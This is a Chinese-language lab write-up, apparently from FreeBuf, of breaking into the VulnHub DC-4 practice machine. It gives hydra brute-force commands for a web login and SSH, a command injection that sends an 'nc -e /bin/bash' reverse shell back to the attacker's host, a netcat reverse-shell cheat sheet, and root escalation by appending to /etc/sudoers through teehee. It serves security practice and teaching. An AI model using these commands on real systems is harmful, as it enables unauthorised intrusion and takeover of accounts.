VulnHub DC 4入侵实战 – 作者:FFFcaptain328

基本配置

靶机是从VulnHub上下载的DC 4:

1604129312_5f9d12208606448537f35.png!small?1604129311755

攻击机为Kali2020.3

信息收集

Kali的网络设置如下:

1604129317_5f9d122568a0b9e8f1172.png!small?1604129316661

老惯例,先对虚拟局域网进行扫描,网段为192.168.187.0/24

1604129321_5f9d1229a522c713cf0a9.png!small?1604129320803

发现主机192.168.187.137,进一步进行详细的扫描:

1604129325_5f9d122debf93e26d3743.png!small?1604129325209

然而并没有更多的发现,那就打开浏览器访问一下:

1604129335_5f9d12373a8c16e5331bc.png!small?1604129334459

从Wappalyzer插件可以看出这应该就只是一个简单的登录服务器。

1604129363_5f9d12538dbdd51033652.png!small?1604129362794

顺便searchsploit一下:

searchsploit nginx 1.15.10 # 加版本号搜更精确的漏洞

1604129357_5f9d124df3e3069647b59.png!small?1604129357214

并没有什么收获。信息收集大概也就到此为止了。

密码爆破

既然这是一个登陆页面,那首先就用hydra进行一次爆破。

网站的主页提示这是一个管理员登录的界面,那首先先将可能的管理员用户名存在dc4users.txt里面备用:

1604129370_5f9d125a84120528cd49d.png!small?1604129369672

至于密码字典,这回我准备试一试kali自带的密码字典rockyou.txt,在/usr/share/wordlists下面可以找到rockyou.txt.gz压缩包:

1604129376_5f9d1260e941f4d78f280.png!small?1604129376210

先把这个包解压缩到主目录方便今后使用,解压后的rockyou.txt有133.4MB大小,在大多数的弱密码情况下都够用了。

准备好这个密码字典后,下面就用hydra进行爆破。查看网页源码可以看到,提交用户名和密码的方法是HTTP POST方法,用户名变量叫username,密码变量叫password:

hydra -L <用户名列表> -P <密码字典> <IP> http-post-form "/<登陆页面>:<用户名变量>=^USER^&<密码变量>=^PASS^:<自定义错误提示信息>" <选项> #hydra破解http post类密码提交的语法
hydra -L dc4users.txt -P rockyou.txt 192.168.187.137 http-post-form "/login.php:username=^USER^&password=^PASS^:no"

1604129387_5f9d126b39bc12598ca79.png!small?1604129386387

得到了一个合法的组合,用来登陆一下试试:

1604129392_5f9d12704df6fae0bb6d0.png!small?1604129391536

成功登录

进入靶机

登录之后,点击command看看能干什么:

1604129397_5f9d12750d2c215f2f292.png!small?1604129396217

好像是可以执行命令啊。一个一个执行发现这个应该是选择在服务器根目录执行的命令,有点好奇命令是怎么发送过去的,抓个包看看。

先用wireshark抓个包看看,只关注HTTP协议部分:

1604129404_5f9d127c1ef6ed8b63745.png!small?1604129403307

这个网站实现的原理似乎是将要执行的命令明文传送给服务器执行,那我只要修改这个命令,就相当于在服务器上进行操作了。

要修改并重放HTTP报文,我选择使用burpsuite进行操作。先设置浏览器的HTTP代理为127.0.0.1:8080(burpsuite使用8080端口)

1604129410_5f9d1282bee1de5cc71d3.png!small?1604129409996

1604129422_5f9d128e564e458b6f8a3.png!small?1604129421604

设置好之后就可以在burpsuite进行操作了。

先把ratio改成whoami试试:

1604129429_5f9d1295052c95fe7edd2.png!small?1604129428330

再按照惯例看看当前的环境变量和所处的位置:

1604129435_5f9d129b2ede72d6ba74b.png!small?1604129434374

1604129441_5f9d12a126ff2994c6a36.png!small?1604129440473

感觉好麻烦,想着干脆回弹一个shell方便操作算了。下面用nc回弹一个shell

现在Kali上监听4444端口:

nc -lvp 4444

在发送的HTTP报文中将ratio字段置为:

nc -e /bin/bash 192.168.187.130 4444

注意burpsuite里要把所有空格换成’+’

发送这个修改后的报文,得到回弹的shell

1604129450_5f9d12aaa7c7977196b1e.png!small?1604129449898

nc的基本使用

这里用到了就顺便总结一下到此为止我了解到的nc的使用方法把,如有错误,还望大佬指正

  • nc是什么:nc全称netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流。可运行在TCP或者UDP模式,添加参数 -u 则调整为UDP默认为TCP

  • 常用参数

    -l # 开始监听
    -p # 指定某个端口
    -e # 指定应用程序(回弹shell很常用)
    -v # 显示详细的输出
  • 建立连接

    # server设置
    nc -lvp <端口号>
    # client设置
    nc -v <serverIP地址> <端口号>
  • 正向回弹shell

    # 要回弹shell的主机设置
    nc -lvp <端口号> -e /bin/sh (bash)
    # 接受回弹的shell的主机设置
    nc <目标主机IP> <端口号>

    可见,所谓正向回弹就是攻击机主动连接目标,建立连接后目标将shell弹给攻击机

  • 反向回弹shell

    # 要回弹shell的主机设置
    nc -e /bin/sh (bash) <攻击机IP> <端口号>
    # 接受回弹的shell的主机设置
    nc -lvp <端口号>

    可见,所谓反向回弹就是目标主动连接攻击机,建立连接后目标将shell弹给攻击机

横向渗透

既然已经进入了主机,那么现在就看看/home目录下有些什么吧:

1604129463_5f9d12b76b3cbdf6f634f.png!small?1604129462702

发现了三个目录,一个一个看过去,只有jim的目录里有点东西:

1604129467_5f9d12bbf4073b8475867.png!small?1604129467156

mbox暂时无法操作,test.sh似乎是jim学习shell编程的小程序?而在剩下的backups目录下,有一个old-passwords.bak文件,打开看看发现是一大堆疑似密码的东西,先拷贝下来保存到dc4Oldpass.txt文件中:

1604129472_5f9d12c0db5ea9c6342d2.png!small?1604129472105

显然这个不会是用来登录网站的密码,那就只有看看SSH了。

用hydra爆破jim的ssh密码:

hydra -l <用户名> -P <密码字典> ssh://<IP地址> # 用hydra爆破某个用户ssh登陆密码的语法
hydra -l jim -P dc4Oldpass.txt ssh://192.168.187.137

1604129484_5f9d12cca6f6aa5cc5be6.png!small?1604129483943

得到jim的SSH登陆密码后,下一步自然使用jim的身份进行ssh登录了:

ssh -l jim 192.168.187.137

1604129491_5f9d12d3de068ad1ba2cc.png!small?1604129491166

还是老惯例,先看看当前shell的环境:

1604129498_5f9d12da8cdbca21bbf45.png!small?1604129497845

很正常,那现在去看看那个之前没法操作的mbox吧:

1604129503_5f9d12df6490e3395e8f2.png!small?1604129502653

原来mbox是一封管理员发给jim的测试邮件,既然有了邮件,那可以去/var/mail目录下看看有没有其他的邮件:

1604129511_5f9d12e77eab354e76c05.png!small?1604129510808

似乎charles把自己的密码交给jim保管了,那就切换到charles看看:

1604129520_5f9d12f026d6e5f6af5b3.png!small?1604129519360

提权

切换到charles的账户之后,还是先看看shell的环境:

1604129529_5f9d12f988e5841f7810b.png!small?1604129528737

没啥特别的。其他四处找找也没有发现更多有价值的线索,那这一步应该需要提权到root了。

回顾一下之前的提权方法:

  • 利用自带root权限的指令提权

  • 利用不需要密码进行sudo的指令提权

  • 利用内核漏洞提权

针对这几种方式,先收集一点信息:

  • 自带root权限的指令:

    find / -user root -perm -4000 -print 2>/dev/null

    1604129592_5f9d1338ddca364120713.png!small?1604129592128

    看一下好像没有可以利用的

  • 不需要密码进行sudo的指令

    1604129604_5f9d13443f3b78d8754f7.png!small?1604129603487

    发现有一条teehee指令可以利用

  • 内核漏洞:

    1604129551_5f9d130fa8f947c436435.png!small?1604129550854

    searchsploit一下:

    1604129584_5f9d1330363766842d1c4.png!small?1604129583497

    似乎没有可以利用的漏洞。

综合来看,应该要用那个teehee指令进行提权。

之前没接触过这个teehee指令,先–help一下看看用法:

1604129611_5f9d134b3134962fb650b.png!small?1604129610437

发现这个指令有个-a选项可以向文件末尾写内容,那么思路已经明确了,通过sudo teehee -a 修改某个文件赋予charles root权限

在网上搜索了一下,我找到了三种方法,现展示如下:

  • 修改/etc/sudoers(我使用的方法):

    这个文件,顾名思义是配置允许哪些用户在不输入密码的情况下使用所有指令。事实上/etc/sudoers文件设置为允许用户在不输入该用户的密码的情况下使用所有命令。简单点来说,该文件可以配置用户使得其使用sudo指令时拥有与root相当的权限。

    那接下来的事就简单了,先用本机看看文件的语法:

    1604129650_5f9d13725a1edaba67df7.png!small?1604129649574

    那接下来就用teehee在文件末尾添加我们的内容:

    sudo teehee -a /etc/sudoers
    charles ALL=(ALL:ALL) ALL # 需要写的内容

    接下来就可以切换到root权限了:

    1604129639_5f9d136730fb74524ec83.png!small?16041296383831604129645_5f9d136dd9363d482b8b8.png!small?1604129645171

    获得flag!

    参考链接:https://zhuanlan.zhihu.com/p/43934300

  • 修改/etc/passwd:

    在本机上查看/etc/passwd文件如下:

    1604129659_5f9d137b4ced204560469.png!small?1604129658551

    /etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。/etc/passwd中一行记录对应着一个用户,每行记录又被冒号(:)分隔为7个字段,其格式和具体含义如下:

    <用户名>:<口令>:<用户标识号>:<组标识号>:<注释性描述>:<主目录>:<登录Shell>

    1604129664_5f9d138061103f5d9f807.png!small?1604129663607

    设置一个具有root权限的aaa账户再登录没有密码的aaa账户即可得到root权限。

    参考链接:https://xz.aliyun.com/t/7924

  • 修改/etc/crontab

    先打开本机的/etc/cromtab文件看看:

    1604129677_5f9d138d3df8ad4b06aeb.png!small?1604129676538

    系统调度的任务一般存放在/etc/crontab这个文件下,里面存放了一些系统运行的调度程序。接下来可以依葫芦画瓢地写一行内容进去

    1604129684_5f9d1394c4c4e81ac9a61.png!small?1604129683996

    再切换到/bin/sh

    1604129689_5f9d13999a88f910bbde3.png!small?1604129688771

    就获得了root权限。

    参考链接:

    https://www.anquanke.com/post/id/178658#h3-5

    https://gaving.top/index.php/2019/10/29/linux%E4%B8%ADcrontab%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1%E5%91%BD%E4%BB%A4/

总结

这一次能够明显地感觉到自己对一些比较简单的情况更加熟练了,至少对于一个问题有了比较系统的思考方向。

总结一下这一次入侵DC 4地过程:

学到的新知识:

  • 捡起来了很久不用的burpsuite

  • hydra使用更熟练了

  • 学习了怎么使用nc,以及如何用nc反弹shell

  • 稍微认识了一下Linux下的邮件系统

  • 几个配置文件/etc/sudoers 、/etc/passwd以及/etc/crontab的作用

还需学习的知识:

  • Linux系统的知识比较欠缺,需要继续学习

来源:freebuf.com 2020-10-31 15:40:23 by: FFFcaptain328

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论